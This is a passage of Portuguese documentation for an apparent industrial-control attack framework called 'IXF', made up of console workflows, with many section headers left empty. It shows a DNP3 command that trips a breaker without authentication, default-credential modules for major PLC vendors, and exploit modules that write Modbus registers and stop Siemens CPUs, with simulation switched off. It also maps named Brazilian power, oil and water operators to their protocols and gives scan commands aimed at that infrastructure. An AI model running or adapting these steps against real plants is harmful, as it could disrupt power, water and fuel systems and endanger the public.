#   Object Group 12 Var 1 (Control Relay Output Block):
#     Control Code: 0x03 (TRIP) | Count: 1 | On Time: 0 | Off Time: 0
#
# Resultado esperado: disjuntor/relé no ponto 5 → TRIP (aberto)
# Sem SAv5: NENHUMA AUTENTICAÇÃO NECESSÁRIA
# MITRE: T0813, T0814, T0879

CVEs Mais Críticos por Protocolo

Cobertura Geográfica por Setor Industrial

Cobertura Setorial do IXF

Referência de Portas por Protocolo

Tabela de referência rápida de todas as portas usadas por protocolos industriais no IXF:

Guia de Seleção de Módulo por Protocolo

Como escolher o módulo certo para cada protocolo

# Para um dispositivo desconhecido, começar sempre pela descoberta
ixf > search modbus         # Lista todos os módulos Modbus
ixf > search s7comm         # Lista todos os módulos Siemens S7
ixf > search bacnet         # Lista todos os módulos BACnet

# Para CVEs específicos do vendor
ixf > search schneider      # Todos CVEs Schneider
ixf > search rockwell       # Todos CVEs Rockwell

# Para credenciais padrão por vendor
ixf > search default_creds siemens   # Credenciais padrão Siemens
ixf > search default_creds modicon   # Credenciais padrão Modicon

Hierarquia de módulos por agressividade

Para cada protocolo, seguir esta progressão de menor para maior impacto:

Protocolos por Versão e Segurança

Versões com e sem recursos de segurança

Testando Novos Protocolos — Workflow Genérico

Para protocolos não listados no IXF, use o módulo genérico de socket:

ixf > use exploits/protocols/serial/raw_tcp_probe
ixf > set target 192.168.1.100
ixf > set port 4000          # Porta do protocolo desconhecido
ixf > set probe_hex "10 01 61 64 6D 69 6E 00"  # Probe customizado
ixf > run

[*] [SIMULATE] Raw TCP Probe
    Conectar a 192.168.1.100:4000
    Enviar probe hex: 10 01 61 64 6D 69 6E 00
    Capturar resposta e exibir em hex + ASCII
    Análise: comparar com padrões de protocolos industriais conhecidos

Módulos de Credenciais Padrão por Vendor

O IXF inclui 62 módulos de teste de credenciais padrão cobrindo os principais vendors OT:

ixf > search default_creds

[+] 62 module(s) found:
  use creds/siemens/simatic_default_creds
  use creds/siemens/wincc_default_creds
  use creds/rockwell/plc_default_creds
  use creds/rockwell/studio5000_default_creds
  use creds/schneider/modicon_default_creds
  use creds/schneider/citect_default_creds
  use creds/honeywell/experion_default_creds
  use creds/abb/ac500_default_creds
  use creds/emerson/deltav_default_creds
  use creds/emerson/roc800_default_creds
  use creds/ge/ifx_default_creds
  use creds/yokogawa/centum_default_creds
  use creds/omron/nx_default_creds
  use creds/mitsubishi/melsec_default_creds
  use creds/beckhoff/twincat_default_creds
  use creds/unitronics/vision_default_creds
  use creds/inductive/ignition_default_creds
  use creds/aveva/wonderware_default_creds
  use creds/moxa/nport_default_creds
  use creds/cisco/ir_router_default_creds
  …e mais 42 módulos de credenciais

Estratégia de teste de credenciais

# 1. Identificar vendor via fingerprint
ixf > use scanners/ics/modbus_device_fingerprint
ixf > set target 192.168.1.100
ixf > run   # Identifica vendor do dispositivo

# 2. Buscar módulo de credenciais para o vendor identificado
ixf > search <vendor_identificado>

# 3. Testar credenciais padrão
ixf > use creds/<vendor>/<protocolo>_default_creds
ixf > set target 192.168.1.100
ixf > run   # simulate=True — mostra credenciais que seriam testadas

Wordlists de Protocolo Incluídas

O IXF inclui wordlists específicas para protocolos OT em industrialxpl/resources/wordlists/:

Anterior: SAST / LLM | Próximo: Desenvolvimento de Módulos

Referência Rápida de Portas por Protocolo

Exemplos de Workflows por Protocolo

Workflow Completo Modbus (Descoberta → Verificação → Assessment)

`

Passo 1: Descobrir dispositivos Modbus na rede

ixf > discover 192.168.1.0/24

Passo 2: Scanner dedicado Modbus

ixf > use scanners/ics/modbus_detect ixf > set target 192.168.1.0/24 ixf > run

Passo 3: Verificar CVEs Modbus

ixf > search modbus ixf > use exploits/protocols/modbus/modbus_fc16_write_registers ixf > set target 192.168.1.100 ixf > run

Passo 4: TTP check T0836 (Modify Parameter via Modbus)

ixf > ttp-check T0836 192.168.1.100

Passo 5: Assessment de parâmetros

ixf > assess mitre_ics/t0836_modify_parameter `

Workflow S7comm (Siemens)

`

Descoberta S7

ixf > use scanners/ics/s7_enumerate ixf > set target 192.168.1.50 ixf > set simulate false ixf > run

CVE crítico S7

ixf > cve CVE-2021-22681 ixf > set target 192.168.1.50 ixf > check

Varredura completa de técnicas S7

ixf > ttp-simulate T0843 192.168.1.50 `

Workflow EtherNet/IP (Rockwell)

`

Identificação EIP

ixf > use scanners/ics/enip_list_identity ixf > set target 192.168.1.20 ixf > set simulate false ixf > run

CVE Rockwell ControlLogix

ixf > cve CVE-2023-3595 ixf > set target 192.168.1.20 ixf > check

Varredura de firmware download

ixf > ttp-simulate T0843 192.168.1.20 `

Vulnerabilidades por Protocolo — Top 10

Modbus TCP — Principais Vetores de Ataque

S7comm — Principais Vetores de Ataque

Cobertura por Nível de Purdue

O modelo Purdue define os níveis arquiteturais de uma rede ICS:

| Nível Purdue | Nome | Protocolos Cobertos | Módulos IXF | |-------------|------|--------------------|-----------|| | Nível 5 | Enterprise Network | HTTP/HTTPS, SNMP | 12 | | Nível 4 | Site Business Planning | HTTP/HTTPS, SQL | 18 | | Nível 3.5 | IDMZ | HTTP, SNMP, ICMP | 8 | | Nível 3 | Site Operations | HTTP, OPC DA, Suitelink | 34 | | Nível 2 | Area Supervisory | OPC UA, Modbus, EtherNet/IP | 89 | | Nível 1 | Basic Control | Modbus, S7comm, DNP3, IEC 104 | 312 | | Nível 0 | Process | Modbus RTU, PROFIBUS, Foundation Fieldbus | 47 |

Mapa de Protocolos por Setor

Setor Elétrico

Setor de Petróleo e Gás

Setor de Manufatura

Automação Predial (BAS/BMS)

Anterior: SAST / LLM | Próximo: Desenvolvimento de Módulos

Detalhes Adicionais de Protocolo

Protocolos de Motion Control

Protocolos de Processo Contínuo

Protocolos de Energia e Utilidades

Cobertura por Tipo de Instalação

Instalações por Setor

Infraestrutura Crítica Brasil

Setor Elétrico:

• Distribuidoras (Enel, Energisa, CPFL): usam principalmente IEC 60870-5-104 e IEC 61850
• Geradoras (Furnas, Eletronorte): mix de IEC 61850, MODBUS e ICCP (TASE.2)
• ONS (Operador Nacional do Sistema): ICCP/TASE.2 para coordenação inter-sistemas

Petróleo e Gás:

• Petrobras: DCS Emerson DeltaV e Honeywell Experion nas refinarias
• REPLAN, REDUC: sistemas com protocolos Modbus, HART e OPC UA
• Plataformas offshore: Yokogawa CENTUM VP com FOUNDATION Fieldbus

Água e Saneamento:

• SABESP (São Paulo): mix de SCADA Elipse E3 + Modbus RTU/TCP
• CAESB (Brasília): SCADA WEG + Modbus
• COPASA (Minas Gerais): sistemas ALTUS Duo com Modbus

# Varredura orientada para infraestrutura crítica brasileira
ixf use scanners/ics/modbus_detect set target 10.0.0.0/16 run
ixf use scanners/ics/iec104_scan set target 10.0.0.0/16 run
ixf use scanners/ics/opcua_discovery set target 10.0.0.0/16 run
ixf search WEG
ixf search ALTUS
ixf search Elipse

Anterior: SAST / LLM | Próximo: Desenvolvimento de Módulos

Configuracao Avancada por Protocolo

Modbus TCP -- Parametros de Conexao

ixf > use exploits/protocols/modbus/modbus_fc16_write_registers
ixf > show advanced

  Opcoes Avancadas
  -------------------------------------------------
  verbose      False    Saida de debug detalhada
  timeout      5        Timeout de conexao (s)
  retry_count  3        Tentativas em caso de falha
  rate_ms      0        Milissegundos entre requests
  strict_mbap  True     Validar MBAP estritamente

S7comm -- Configuracao de Sessao

ixf > use exploits/protocols/s7comm/s7_stop_cpu
ixf > show advanced

  Opcoes Avancadas
  -------------------------------------------------
  pdu_size     480      Tamanho do PDU S7 (bytes)
  rack         0        Numero do rack (0-7)
  cotp_src     0x0100   TSAP fonte (formato hex)
  cotp_dst     0x0200   TSAP destino (formato hex)
  timeout      10       Timeout de conexao (s)

EtherNet/IP -- Sessao CIP

ixf > use scanners/ics/enip_list_identity
ixf > show advanced

  Opcoes Avancadas
  -------------------------------------------------
  udp_scan     False    Usar UDP para List Identity
  session_id   0        Session Handle (0=auto)
  cip_timeout  3        Timeout CIP (s)
  max_identity 10       Max respostas esperadas

Integracao com Outras Ferramentas

IXF + Nmap

# Descobrir portas abertas com Nmap
nmap -p 502,102,44818 --open 192.168.1.0/24 -oG - | \
  grep "open" | awk '{print $2}' > targets.txt

# Verificar com IXF
while read ip; do
    ixf --simulate --no-color -c \
        "use scanners/ics/modbus_detect; set target $ip; set simulate false; check"
done < targets.txt

IXF + Wireshark

# Capturar trafego ICS com tcpdump
tcpdump -i eth0 -w /tmp/ics_capture.pcap port 502 or port 102 or port 44818

# Analisar capture e verificar CVEs
ixf -c "exec tshark -r /tmp/ics_capture.pcap -Y modbus -T fields -e ip.dst"

Anterior: Inicio Rapido | Proximo: Sistema de Modulos